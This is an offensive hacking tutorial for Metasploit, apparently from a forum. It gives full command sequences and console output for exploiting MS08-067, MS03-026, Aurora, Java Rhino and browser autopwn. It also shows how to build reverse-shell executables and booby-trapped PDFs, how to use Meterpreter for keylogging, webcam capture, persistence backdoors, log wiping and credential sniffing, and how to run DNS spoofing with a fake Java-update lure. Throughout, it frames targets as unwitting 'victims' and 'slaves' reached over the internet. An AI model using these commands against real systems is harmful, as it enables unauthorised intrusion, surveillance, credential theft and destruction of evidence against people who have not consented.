Metasploit unleashed - By Paid Hackers

metasploit framework

Metasploit is a tool used to exploit vulnerabilities in daemons running on an open port. It is extremely powerful tool that is not easy to control. Many speak of vulnerabilities without defining them first. So:

What is a vulnerability?


A vulnerability is a security hole in a piece of software, hardware or operating system that provides a potential angle to attack the system. Not all vulnerabilities are dangerous and not all of them are exploitable. They can be often found in outdated applications, services or operating systems. Now that we understand what being exploitable means, what is an exploit itself?

What are exploits?
Exploits are highly specialized small programs, whose only purpose is to take advantage of a vulnerability and deliver a payload, which will grant attacker the control. Metasploit is a great tool that has a vast number of exploits. I will cover using some of them later on. So, if it's purpose is to deliver a payload, what is payload?

Buffer Overflow
Buffer Overflow is a common method used to make exploits. How does it work?

Imagine a glass of wine. You're thirsty and you want to drink it. You keep pouring it into the glass, but at one point, the wine will have filled the glass and it will leak outside of it, on your carpet. This is exactly what buffer overflow is. It happens when a program or file writes data to a buffer and overflows it. It leaks into adjacent memory and overrides it. That way we get our malicious part to execute.

What is a payload?

Payload is delivered by exploit and is used to control the remote system.Think of it this way: Exploit is like terrorist that is carrying a bomb in his backpack. He enters the system and leaves his backpack there. Most popular and widely known payload is meterpreter, that has a lot of features. With it you can Browse remote files, downlaod them, upload your own, capture keystrokes, take screenshots, open DOS, and pivot to another machine as well. Through meterpreter, you can pivot and attack machines in networks that are not your own.

The first step to success is a small one. You can not learn without studying. That's why you have to get your hands dirty, and start the quest of searching. But before that, let's just talk a little about Metasploit.

Metasploit

Metasploit and all of it's exploits are written in Ruby. Metasploit has four interfaces.

  • MsfCli
  • MsfConsole
  • MsfGui
  • Armitage

I will be going in detail about MsfConsole and Armitage.

You can run metasploit in both Windows and Linux.
  • Windows -Download it here.
  • Use BackTrack. BackTrack is linux made entirely for Pentesting purposes. It has a vast number of amazing tools that you will be using. Metasploit is one of them.
[Image: hRZqs.jpg]

Nmap

Nmap uses raw IP packets to determine if host is up or down, if he uses a firewall or not, which ports are open, what services are running on the remote system and their version. Nmap's GUI is called ZenMap. But we will not be using that today. Nmap is built in feature of Metasploit, so you won't have to download anything. Open Metasploit console and type: Nmap (IP Address) -(options that you want).
For example:
PHP Code:
nmap 192.168.2.104 -sV 
This would give us services that are running and their version. If they are outdated, they are more likely to be exploitable.

Take note of service name. For example, if you see MSRPC running on port 135, then in metasploit console type:
PHP Code:
search MSRPC 
This would return all exploits that could be used. However, what if we got this as a scan result?
PHP Code:
Microsoft-DS    445/TCP        Open# Smb directly over IP 
We could also go to http://www.metasploit.com and type service name in the search box. It might return a matching exploit that we need. So let's paste Microsoft-DS in the search engine and Woah! We got a match:
PHP Code:
ms08_067_netapi 
ExploitDB is also very usefull. (http://www.exploit-db.com)

You will often find yourself in a situation where target is protected by firewall. To scan for open ports when he has it turned on, do:

PHP Code:
nmap (IP) -sV -Pn 

Over time you will memorize a lot of exploits. But always remember that there is much more to learn, you just must be willing to give it a shot.

Nessus

Nessus is world's leading and most popular vulnerability scanner for a good reason. It's awesome. It finds all vulnerabilities and makes the job much easier because you can import nessus scan to metasploit. This will automatically find exploits that you need. For that you need to create a database, which I will cover later in this tutorial. Okay, so let's start!
First we need to make an account.

Go to http://www.nessus.org/products/nessus/ne...ation-code and register.

Activation code will be sent to your email address. You want to copy it. Now open Backtrack console and type:
Code:
/opt/nessus/bin/nessus-fetch --register *Your code*

Nessus will start fetching latest plugins. This might take a while so be patient. Next, you want to create a new user. Do this by typing:
Code:
/opt/nessus/sbin/nessus-adduser

Now input your username and password. That's it. Now we need to start Nessus itself. In console, type:
Code:
/etc/init.d/nessusd start

You have successfully installed Nessus on BackTrack.

Open Nessus interface by going to this address in your browser.
Code:
http://127.0.0.1:8834

Input Username and Password and you're in. Nessus has some pretty cool features. You can add your own Policies by clicking on Policies tab. There you can enable/disable Nessus scan options.

Let's continue. Click scans and then hit add. Input scan name, Policy and Input Address/es that you want to scan.
For local network scan choose network policy. For scanning over Internet choose policy that will scan external IPs. After the scan is complete, click on it and then click download report. Save it as .nbe
This can be later used for automated exploitation.

[Image: sD3OS.jpg]

The Basics

You can watch youtube version of this:



Exploitation is main part of the whole process. Here is where you need to use everything you have learned during the information gathering stage. Our main goal is to exploit a system within our network and deliver a payload. So let's look at the commands we will be using.

'Use' command is used to equip an exploit. You can imagine it as picking up a different kind of weapon before getting ready for battle.
PHP Code:
use (exploit name) 

In the example above, exploit name is needed. So how do you know exploit name? You get it during the information gathering stage. To view all exploits available, type "Show Exploits"
PHP Code:
Show Exploits 

After setting the exploit itself, you need to see which options it uses. They have to be set manually. Some of them though do not need to be set. You can check if it is required by looking under "Required" option.
Type:
PHP Code:
Show Options 

Most exploits will require RHost and RPort. Browser based ones will Require SRVHost And SRVPort.

RHost is remote host. It is our target, IP address of the system that we are attempting to exploit. RPort is set by default and should not be changed. I will tell more about SRVHost And SRVPort when I talk about browser based exploits.

We need to set a payload that will be delivered. We do that by typing:
PHP Code:
Set Payload (Payload name) 

Payloads need LPort (Local Port) and LHost (Local Host).
LPort has to be forwarded to the attacker system if you want this to work on WAN.

All payloads can be viewed by typing:
PHP Code:
Show Payloads 

Types of Payloads:
  • There are two types of Payloads. Reverse and Bind ones. Reverse payloads are left on the attacker machine and they connect back to you, and thus connection is reverse. On the attacker machine, there exists a listener, which accepts all incoming connections. That's how you get your session. Reverse payloads are generally more used then bind ones. Payloads can be made persistent by dumping them into registry. For future sessions to be established, you will need to start the listener manually.
  • Bind payloads bind to the victim machine and through them attacker enters. Connection is not reverse but direct.

[Image: HUBiq.jpg]
It exploits a parsing flaw in NetAPI32.dll through the Server Service. This is an old, but still amazingly useful exploit. It can target Windows XP SP2 and Windows XP SP3. It has auto detect target option, so you don't have to worry about that.

Let's try and use it.

Type:
PHP Code:
use windows/smb/ms08_067_netapi 
Let's see what options we need to set by doing:

Code:
Show Options
We need to set RHost (Remote host). Port is by default set to 445(RPort).
So let's input the IP of our victim:

PHP Code:
set rhost 192.167.2.105 
Now we need to choose payload. We will use meterpreter payload because it's one of the best payloads out there.

PHP Code:
Set payload windows/meterpreter/reverse_tcp 
Type show options again. Now it says we need to set lport and lhost. Lhost is your IP address and Lport can be whatever port you want (It mustn't be used already). I will use 4444.

PHP Code:
Set lhost 192.168.2.100
Set lport 4444 

Now all we need to do is type exploit and new meterpreter session will open.

PHP Code:
exploit 

Example:

Code:
II    dTb.dTb  _.---._
  II  4'  v  'B   .'"".'/|`.""'.
  II  6.  .P  :  .' / |  `.  :
  II  'T;. .;P'  '.'  /  |    `.'
  II  'T; ;P'    `. /   |    .'
II  'YvP'  `-.__|__.-'

I love shells --egypt

  =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 796 exploits - 435 auxiliary - 131 post
+ -- --=[ 242 payloads - 27 encoders - 8 nops
  =[ svn r14663 updated today (2012.01.31)

msf > use windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set payload
windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
smsf  exploit(ms08_067_netapi) > set lhost 192.168.2.103
lhost => 192.168.2.103
msf  exploit(ms08_067_netapi) > set lport 4444
lport => 4444
msf  exploit(ms08_067_netapi) > set rhost 192.168.2.105
rhost => 192.168.2.105
msf  exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on port 4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:Unknown
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.2.103:4444 -> 192.168.2.105:445)

More information:
Code:
Description:
  This module exploits a parsing flaw in the path canonicalization
  code of NetAPI32.dll through the Server Service. This module is
  capable of bypassing NX on some operating systems and service packs.
  The correct target must be used to prevent the Server Service (along
  with a dozen others in the same process) from crashing. Windows XP
  targets seem to handle multiple successful exploitation events, but
  2003 targets will often crash or hang on subsequent attempts. This
  is just the first version of this module, full support for NX bypass
  on 2003, along with other platforms, is still in development.

  Name: Microsoft Server Service Relative Path Stack Corruption
  Module: exploit/windows/smb/ms08_067_netapi
    Version: 14319
   Platform: Windows
Privileged: Yes
    License: Metasploit Framework License (BSD)
  Rank: Great

Provided by:
  hdm
  Brett Moore
  staylor
  jduck

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   Windows 2000 Universal
  10  Windows 2003 SP1 Japanese (NO NX)
  11  Windows 2003 SP2 English (NO NX)
  12  Windows 2003 SP2 English (NX)
  13  Windows 2003 SP2 German (NO NX)
  14  Windows 2003 SP2 German (NX)
  15  Windows XP SP2 Arabic (NX)
  16  Windows XP SP2 Chinese - Traditional / Taiwan (NX)
  17  Windows XP SP2 Chinese - Simplified (NX)
  18  Windows XP SP2 Chinese - Traditional (NX)
  19  Windows XP SP2 Czech (NX)
  2   Windows XP SP0/SP1 Universal
  20  Windows XP SP2 Danish (NX)
  21  Windows XP SP2 German (NX)
  22  Windows XP SP2 Greek (NX)
  23  Windows XP SP2 Spanish (NX)
  24  Windows XP SP2 Finnish (NX)
  25  Windows XP SP2 French (NX)
  26  Windows XP SP2 Hebrew (NX)
  27  Windows XP SP2 Hungarian (NX)
  28  Windows XP SP2 Italian (NX)
  29  Windows XP SP2 Japanese (NX)
  3   Windows XP SP2 English (AlwaysOn NX)
  30  Windows XP SP2 Korean (NX)
  31  Windows XP SP2 Dutch (NX)
  32  Windows XP SP2 Norwegian (NX)
  33  Windows XP SP2 Polish (NX)
  34  Windows XP SP2 Portuguese - Brazilian (NX)
  35  Windows XP SP2 Portuguese (NX)
  36  Windows XP SP2 Russian (NX)
  37  Windows XP SP2 Swedish (NX)
  38  Windows XP SP2 Turkish (NX)
  39  Windows XP SP3 Arabic (NX)
  4   Windows XP SP2 English (NX)
  40  Windows XP SP3 Chinese - Traditional / Taiwan (NX)
  41  Windows XP SP3 Chinese - Simplified (NX)
  42  Windows XP SP3 Chinese - Traditional (NX)
  43  Windows XP SP3 Czech (NX)
  44  Windows XP SP3 Danish (NX)
  45  Windows XP SP3 German (NX)
  46  Windows XP SP3 Greek (NX)
  47  Windows XP SP3 Spanish (NX)
  48  Windows XP SP3 Finnish (NX)
  49  Windows XP SP3 French (NX)
  5   Windows XP SP3 English (AlwaysOn NX)
  50  Windows XP SP3 Hebrew (NX)
  51  Windows XP SP3 Hungarian (NX)
  52  Windows XP SP3 Italian (NX)
  53  Windows XP SP3 Japanese (NX)
  54  Windows XP SP3 Korean (NX)
  55  Windows XP SP3 Dutch (NX)
  56  Windows XP SP3 Norwegian (NX)
  57  Windows XP SP3 Polish (NX)
  58  Windows XP SP3 Portuguese - Brazilian (NX)
  59  Windows XP SP3 Portuguese (NX)
  6   Windows XP SP3 English (NX)
  60  Windows XP SP3 Russian (NX)
  61  Windows XP SP3 Swedish (NX)
  62  Windows XP SP3 Turkish (NX)
  63  Windows 2003 SP2 Japanese (NO NX)
  7   Windows 2003 SP0 Universal
  8   Windows 2003 SP1 English (NO NX)
  9   Windows 2003 SP1 English (NX)

Basic options:
  Name  Current Setting  Required  Description
  ----  --  --  --
  RHOST  yes  The target address
  RPORT    445    yes  Set the SMB service port
  SMBPIPE  BROWSER    yes  The pipe name to use (BROWSER, SRVSVC)

Payload information:
  Space: 400
  Avoid: 8 characters

[Image: EYezD.jpg]
This module exploits a stack buffer overflow in the RPC Service. It can exploit English versions of:
  • Windows NT 4.0 SP3
  • Windows 2000
  • Windows XP
  • Windows 2003
Default port:135

Okay, let's start.
Type:

PHP Code:
use exploit/windows/dcerpc/ms03_026_dcom 
Now let's add payload:

PHP Code:
set payload windows/meterpreter/reverse_tcp 
Next, we need to see what options we need to set. Set LHost to match your local IP and RHost to match the victim's. And set Lport to your desired port.

PHP Code:
set lhost 192.168.2.100
ser rhost 192.168.2.105
set lport 4444 

Now type exploit and if the attack was successful, you will get meterpreter session.
Code:
msf > use exploit/windows/dcerpc/ms03_026_dcom

msf  exploit(ms03_026_dcom) > set rhost 192.168.2.105

rhost => 192.168.2.105
msf
exploit(ms03_026_dcom) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf  exploit(ms03_026_dcom) > set lport 4443

lport => 4443

msf  exploit(ms03_026_dcom) > set lhost 192.168.2.103

lhost => 192.168.2.103

msf  exploit(ms03_026_dcom) > exploit

[*] Started reverse handler on 192.168.2.103:4443

[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...

[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.2.105[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.2.105[135] ...

[*] Sending exploit ...

[*] Sending stage (752128 bytes) to 192.168.2.105
[*] Meterpreter session 1 opened (192.168.2.103:4444 -> 192.168.2.105:1098) at Tue Jan 31 21:35:35 +0000 2012

[Image: lEZQC.jpg]

Please watch video version of it here.




Aurora is browser based exploit, which means that payload is injected through the browser on the victim machine. Aurora exploits a memory corruption flaw in Internet Explorer 6. It is very outdated, but I picked this one for it's historical value. It was used in Operation Aurora by a group of hackers who compromised a large number of major

Let's start by choosing aurora.

PHP Code:
Use exploit/windows/browser/ms10_002_aurora 
Next, set payload to reverse meterpreter.

PHP Code:
set payload windows/meterpreter/reverse_tcp 
Now we need to input LHost, Lport(for Payload) and SrvHost for aurora. Lhost and SrvHost have to be the same. You can also change srvport, but you can leave it to 8080 (Default) if you want.

PHP Code:
Set LHost 192.168.2.103
Set LPort 4444
Set SrvHost 192.168.2.103 

You can also change uripath, the way link will look like. If you just leave it, it will add some random stuff at the end of url like:
http://192.168.2.103:jghsajksauf
So we are going to change it to /.

PHP Code:
set uripath / 
Type exploit, and server will start. Send the generated link to someone and meterpreter session will open. I will later show advanced methods of tricking a victim to open it.

Example:
Code:
msf > search aurora

Matching Modules
==

   Name  Disclosure Date  Rank    Description
   ----  --  ----    --
   exploit/windows/browser/ms10_002_aurora  2010-01-14  normal  Internet Explorer "Aurora" Memory Corruption

msf > use exploit/windows/browser/ms10_002_aurora
msf  exploit(ms10_002_aurora) > set payload
windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(ms10_002_aurora) > set lhost 192.168.2.103
lhost => 192.168.2.103
smsf  exploit(ms10_002_aurora) > set lport 4444
lport => 4444
msf  exploit(ms10_002_aurora) > set srvport 80
srvport => 80
msf  exploit(ms10_002_aurora) > set srvhost 192.168.2.103
srvhost => 192.168.2.103
msf  exploit(ms10_002_aurora) > show options

Module options (exploit/windows/browser/ms10_002_aurora):

   Name  Current Setting  Required  Description
   ----  --  --  --
   SRVHOST  192.168.2.103    yes  The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  80  yes  The local port to listen on.
   SSL  false    no  Negotiate SSL for incoming connections
   SSLCert    no  Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3  no  Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH    no  The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name  Current Setting  Required  Description
   ----  --  --  --
   EXITFUNC  process    yes  Exit technique: seh, thread, none, process
   LHOST  192.168.2.103    yes  The listen address
   LPORT  4444  yes  The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf  exploit(ms10_002_aurora) > set uripath /
uripath => /
msf  exploit(ms10_002_aurora) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.2.103:4444
[*] Using URL: http://192.168.2.103:80/
[*] Server started.
msf  exploit(ms10_002_aurora) > [*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.2.105
[*] Sending stage (752128 bytes) to 192.168.2.105
[*] Meterpreter session 1 opened (192.168.2.103:4444 -> 192.168.2.105:1098) at Tue Jan 31 21:35:35 +0000 2012

More Info:
Code:
Name: Internet Explorer "Aurora" Memory Corruption
  Module: exploit/windows/browser/ms10_002_aurora
    Version: 14034
   Platform: Windows
Privileged: No
    License: Metasploit Framework License (BSD)
  Rank: Normal

Provided by:
  unknown
  hdm

Available targets:
  Id  Name
  --  ----
  0   Automatic

Basic options:
  Name  Current Setting  Required  Description
  ----  --  --  --
  SRVHOST  0.0.0.0    yes  The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT  8080  yes  The local port to listen on.
  SSL  false    no  Negotiate SSL for incoming connections
  SSLCert    no  Path to a custom SSL certificate (default is randomly generated)
  SSLVersion  SSL3  no  Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
  URIPATH    no  The URI to use for this exploit (default is random)

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a memory corruption flaw in Internet Explorer.
  This flaw was found in the wild and was a key component of the
  "Operation Aurora" attacks that lead to the compromise of a number
  of high profile companies. The exploit code is a direct port of the
  public sample published to the Wepawet malware analysis site. The
  technique used by this module is currently identical to the public
  sample, as such, only Internet Explorer 6 can be reliably exploited.

[Image: PGxz1.jpg]

Java Rhino is also known as infamous silent Java Drive by. At the beginning it was exploit you can get only by purchasing, but later it was added to metasploit as a free exploit. Okay so this needs settings similar to aurora. Let's choose java rhino.

PHP Code:
Use exploit/multi/browser/java_rhino 
Now set payload:

PHP Code:
Set Payload windows/meterpreter/reverse_tcp 
Input LPort, LHost, and SrvHost. Remember that Lhost and SrvHost should match.

PHP Code:
Set LHost 192.168.2.103
Set LPort 4444
Set SrvHost 192.168.2.103 

Also, changing UriPath is not necessary, but I'll do it anyway.

PHP Code:
Set UriPath / 
Now hit exploit and metasploit will generate a link for you. Send that link to someone, and when they open it, they will be asked to run java, but not your file as well.

Example:

Code:
II    dTb.dTb  _.---._
  II  4'  v  'B   .'"".'/|`.""'.
  II  6.  .P  :  .' / |  `.  :
  II  'T;. .;P'  '.'  /  |    `.'
  II  'T; ;P'    `. /   |    .'
II  'YvP'  `-.__|__.-'

I love shells --egypt

  =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 796 exploits - 435 auxiliary - 131 post
+ -- --=[ 242 payloads - 27 encoders - 8 nops
  =[ svn r14663 updated today (2012.01.31)

msf > use exploit/multi/browser/java_rhino
msf  exploit(java_rhino) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
smsf  exploit(java_rhino) > set lhost 192.168.2.103
lhost => 192.168.2.103
msf  exploit(java_rhino) > set lport 4444
lport => 4444
smsf  exploit(java_rhino) > set uripath /
uripath => /
msf  exploit(java_rhino) > set srvhost 192.168.2.103
srvhost => 192.168.2.103
msf  exploit(java_rhino) > show options

Module options (exploit/multi/browser/java_rhino):

   Name  Current Setting  Required  Description
   ----  --  --  --
   SRVHOST  192.168.2.103    yes  The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080  yes  The local port to listen on.
   SSL  false    no  Negotiate SSL for incoming connections
   SSLCert    no  Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3  no  Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH  /    no  The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name  Current Setting  Required  Description
   ----  --  --  --
   EXITFUNC  process    yes  Exit technique: seh, thread, none, process
   LHOST  192.168.2.103    yes  The listen address
   LPORT  4444  yes  The listen port

Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

msf  exploit(java_rhino) > set srvport 80
srvport => 80
msf  exploit(java_rhino) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.2.103:4444
[*] Using URL: http://192.168.2.103:80/
[*] Server started.
msf  exploit(java_rhino) > [*] Java Applet Rhino Script Engine Remote Code Execution handling request from 192.168.2.100:50563...
[*] Sending Applet.jar to 192.168.2.100:50564...
[*] Sending Applet.jar to 192.168.2.100:50564...
[*] Sending stage (752128 bytes) to 192.168.2.105
[*] Meterpreter session 1 opened (192.168.2.103:4444 -> 192.168.2.105:1098) at Tue Jan 31 21:35:35 +0000 2012

Java Signed Applet

Java signed applet is also one of my preferred browser exploits.




Open MSFconsole and in it, type:

PHP Code:
Search signed 

This will get us exploit that we want. Type:

PHP Code:
use exploit/multi/browser/java_signed_applet 

Now let's set the payload to meterpreter.

PHP Code:
set payload windows/meterpreter/reverse_tcp 

Now simply set LHOST and uripath and you're done.
PHP Code:
set LHost 192.168.2.104
set uripath /
exploit 

[Image: vCKEc.jpg]
Example can be seen in this video:



We often do not know which browser the target is using. We also might not know if he has java installed at all. That's when browser autopwn comes in handy. With it, we run a huge number of browser based exploits all at once. They get executed one after another. That's why it is called autopwn.

This exploit is special. We do not have to set payload, it does it for us.

So let's begin.

PHP Code:
set lhost 192.168.2.104
set uripath /
exploit 

It will take some time to load. Be patient.
Send http://192.168.2.104:8080/ to the victim and autopwn process will begin. You will soon have your session.

[Image: P7FDd.jpg]
View example here. This example shows how to do this outside your own network.




We can also make executable file and send it to remote machine. When they run it, we will get meterpreter connection. This works like a RAT. We create our executable payload which has our local IP, and port. When we send it to someone it connects back to us. Let's start!
In backtrack, open a new console and type:

MSFpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.104 LPORT=4444 X > /root/Desktop/server.exe

This will create our server. When target runs it, it will try to connect back to us. So we need to set up a listener. It will listen for incoming connections and accept them.

Start Metasploit console and type:

PHP Code:
use exploit/multi/handler 

Now let's add payload:

PHP Code:
Set Payload windows/meterpreter/reverse_tcp 

Set up our LPort and Lhost:

PHP Code:
Set LHost 192.168.2.103
Set Lport 4444 

And then type exploit. It will start listening for incoming connections. When slave runs the file, meterpreter session will be created.

This can also be used outside LAN. When creating your executable in backtrack, use your external IP as your LHOST. Forward the LPORT to your local IP and when you set up a listener, set it to use your local IP, and not external one.

Some of you might still not know what port forwarding is, so let me explain. It's forwarding all incoming connections on a certain port to local machine in your network. Why is it necessary? When a connection comes through WAN to your router, the router doesn't know where to send it. That's why you forward all connections. That way the confusion isn't made and session gets established. If you still have no idea what I'm talking about, you should study networking before proceeding.

Embedded Exploits

Video example:




We can inject our payload into formats other then .exe. Today we'll be using PDF file format exploit. It injects payload in existing PDF file and when PDF file is opened it executes the payload as a separate process thus leaving the legit one intact.

Open a new console and type msfconsole to start metasploit.

PHP Code:
use exploit/windows/fileformat/adobe_pdf_embedded_exe 

Now let's how options.

PHP Code:
show options 

It wants us to set INFILENAME, or in other words, the legit PDF document. Just go and download one.

PHP Code:
set INFILENAME /root/Desktop/Sample.pdf 

Set the payload to Meterpreter and run the exploit.

PHP Code:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST (LHOST)
exploit 

Now we need to start a listener, so open a new console and type:

PHP Code:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.104 (LHOST)
exploit 

Now send the new, generated PDF to the victim and when he runs it you'll get your meterpreter session.

[Image: SzYry.jpg]

Meterpreter is a famous payload that is injected via the reflective DLL injection. It is VERY powerful. It has a lot of commands that we will be looking at. Using meterpreter session, you can even pivot through remote networks and exploit Systems inside them as if you had direct access to it.

PHP Code:
ps 
To list active processes, and their PIDs.

If we injected the payload through browser, we need to move away from it. If browser gets closed, we will lose our session as well. How do we do that? Migrate to another process. Let's migrate to exploter.exe
(Note: This is not internet explorer)
Find the pid of explorer.exe and then type:

PHP Code:
migrate (pid) 

For example:

PHP Code:
Migrate 568 

Now that we are safe, we might as well start exploring other features. We can get screenshots of both victim's PC and webcam by using:

PHP Code:
screenshot (For screenshot of his PC)
webcam_snap (For screenshot of his webcam) 
Next, you can view files and change directories directly from meterpreter session by using:
PHP Code:
ls - Similar to 'Dir' in DOS
cd - to change directories
del - delete
rmdir - remove directory
mkdir - make directory 

NOTE: When you are browsing or doing anything with his drives make sure you use double slashes \\ all the time.

Now let's try to get admin access by typing:

GetSystem

This will most likely fail on windows 7. There are three different techniques meterpreter will try.

I said previously that meterpreter has Keylogger option. Let's test it. We have to migrate to explorer process for this to work.

PHP Code:
Keyscan_start 
Now wait for a while and then type:

PHP Code:
Keyscan_dump 
It will dump keystrokes recorded.

Example:

PHP Code:
keyscan_dump
"Dumping captured keystrokes...
 Hello There it worked!" 

Now let's make a backdoor so even when he shutdowns PC, we will continue getting the session when he gets back on.

NOTE: You will have to start multi/handler to listen for connections

PHP Code:
run persistence -U -I (Interval for every attempt to connect, for example if we set it to 5 it will try to connect every 5 seconds) -P (lport) -R (LHost) 

PHP Code:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost (local IP)
set lport (port used)
exploit 

For example:

PHP Code:
Run Persistence -U -I 5 -P 4444 -R 192.168.2.101 

Now that it is backdoor-ed, we will have access to it always. However, some of you don't like all this typing and prefer GUI, so you can upload your RAT server.

PHP Code:
upload C:\\RAT.exe C:\\ 
This will upload our server called "RAT.exe" from our C:\ drive to his C:\ drive.
NOTE: If you don't have admin privs then upload it elsewhere, good place would be C:\users\%username%. Now let's start DOS and run the file we uploaded.

PHP Code:
Shell 
Now navigate to where you uploaded the file and run it.

PHP Code:
cd C:\
start Hello.exe 

We got a connection. Meterpreter has one nice option, we can remotely download the files from his PC using download command.

PHP Code:
Download C:\\hello.exe 

You can enable remote desktop on target machine as well. Do this by typing:

PHP Code:
run getgui -u username -p password -e 

This will enable remote desktop, and create user with desired username and password. Connect to him through BackTrack console by typing:

PHP Code:
rdesktop -u Username -P password RemoteIP 

This is not the best way to view his screen because he will be informed of you trying to intrude. I personally recommend using vnc instead.

PHP Code:
run vnc 

This will allow you to view his desktop and control it at will.

Meterpreter also has ability to edit hosts file.

PHP Code:
run hostsedit -e *IP of site you want to redirect to*,*site that you want redirected* 

For example:

PHP Code:
run hostsedit -e 127.0.0.1,google.com 

To delete the event after you're done, run:
PHP Code:
clearev 

Sniffing

PHP Code:
use sniffer
sniffer_start (interface) 

In my case it's:

PHP Code:
sniffer_start 1 

Now on the victim side, let's use filezilla to log in FTP website.

Wait for some time before dumping the captured results by:

PHP Code:
sniffer_dump 1 (<---interface data-blogger-escaped-br="" data-blogger-escaped-esktop="" data-blogger-escaped-name.cap="" data-blogger-escaped-nbsp="" data-blogger-escaped-root="">

Now stop the sniffer with:

PHP Code:
sniffer_stop 1 

It will create name.cap file on Desktop which can be opened by WireShark. So, let's open a new console in BackTrack and type WireShark in it. This will load the GUI.

Simply click on add file and choose your CAP file. Browse through the logs and you will see that it successfully captured the FTP username and password.

[Image: 8PnB3.jpg]

IRB stands for Interactive ruby shell. Through it, you can call APIs that ship with the framework or you could even use ones that are on victim PC with Railgun. But first, let's talk about ones that ship with framework.

To be more precise, we'll talk about:
  • fs #File System
  • sys #System

Everything you do has to be in ruby. So if you don't know ruby, learn the language before attempting any of this.

Just to show it's actually in ruby, we'll rank a few commands:

PHP Code:
a = 2
b = 3
if a+b == 5
print "Worked"
end 

The output will be:
PHP Code:
Worked=> nil 

Nil. You don't have to worry about this, in this context, it just tells us that everything ran smoothly. But learn the language to understand it better. I don't recommend ruby as first language. So if you already have experience, read this book.

Now, let's try and use some File System APIs.

PHP Code:
client.fs.dir.pwd 

This will tell us our current directory. Everything starts with client because we're communicating with him. So let's change our current directory to C:\

PHP Code:
client.fs.dir.chdir("C:\\") 

Now we want to see what's inside C:\. To do so, we need to use entries.

PHP Code:
client.fs.dir.entries("C:\\') 

Awesome. Now let's create a new directory there.

PHP Code:
client.fs.dir.mkdir("Metasploit") 

Now let's use file to check if path exists, or in other words, if we created it successfully.

PHP Code:
client.fs.file.exists?("C:\Metasploit") 

You will get true if it does, and false if it doesn't.

In C:\ there is a suspicious looking file called "deleteme.exe". So let's fulfill it's wishes.

PHP Code:
client.fs.file.rm("C:\deleteme.exe") 

Now let's take a look at system. Remember how we deleted all event history with clearev? What if we wanted to delete just specific event log and not all of them? Let's do it.

PHP Code:
client.sys.eventlog.open("System").clear 

This will delete the log. Or, what if we wanted to reboot the machine?

PHP Code:
client.sys.Power.reboot 

You really need to get to know all options available because there's a ton of them. Practice makes perfect so go ahead and do so.

[Image: 2qw8F.jpg]

RailGun is a meterpreter extension that lets us run code from any DLL present on the victim system. With it, we have much more control, and that's why I'll let your imagination take over since there is a ton of material that would need to get covered. I'll just show you the basics.

We'll go through:
  • Kernel32
  • User32
  • Netapi32

PHP Code:
client.railgun.kernel32.RemoveDirectoryA("C:\\SomeDirectory") 
Full list of available commands for Kernel32 here.

And here's one using User32. We will lock the system.

PHP Code:
client.railgun.user32.LockWorkStation 
Full list of available commands for user32 here.

Awesome. Now let's go ahead and delete user called Divine.

PHP Code:
client.railgun.netapi32.NetUserDel(nil, Divine) 
Full list of available commands for Netapi32 here.

[Image: ibSoU.jpg]

Example here:




Often you won't be able to send the link of the payload directly to the target. That's when DNS Spoofing becomes really handy. You can spoof every request coming from the victim, and make it something you want. If he requests to see Facebook, he will see your page instead.

Go to usr/local/share/ettercap in BackTrack and open Etter.dns.
Delete everything contained there. All you need inside it is:
PHP Code:
*  A 192.168.2.104 
192.168.2.104 is my local IP address.

Next, go to Applications>BackTrack>Services>HTTPD>Apache Start

Make a reverse executable payload called server.exe, and start a listener.

Then go to var/www/ folder and move your payload there. Also, make a file called index.php
It's content is what will shop up on the victim PC. For example, you can make it:

PHP Code:
Please update java to view this page. New update can be found here. 

Now open new backtrack console, and type:

PHP Code:
iwconfig 

This will tell you your interface. Note it down.

Now do:

PHP Code:
ettercap -i (interface) -TqM ARP:REMOTE -P dns_spoof // // 

Spoofing will begin.

[Image: kIzjh.jpg]

Example:



With metasploit, you are also able to sniff remote passwords. We can sniff FTP, POP3 and HTTP requests.

PHP Code:
use auxiliary/sniffer/psnuffle 
Now type iwconfig to see your interface. Next, set interface to whatever it is.

PHP Code:
set interface eth1 
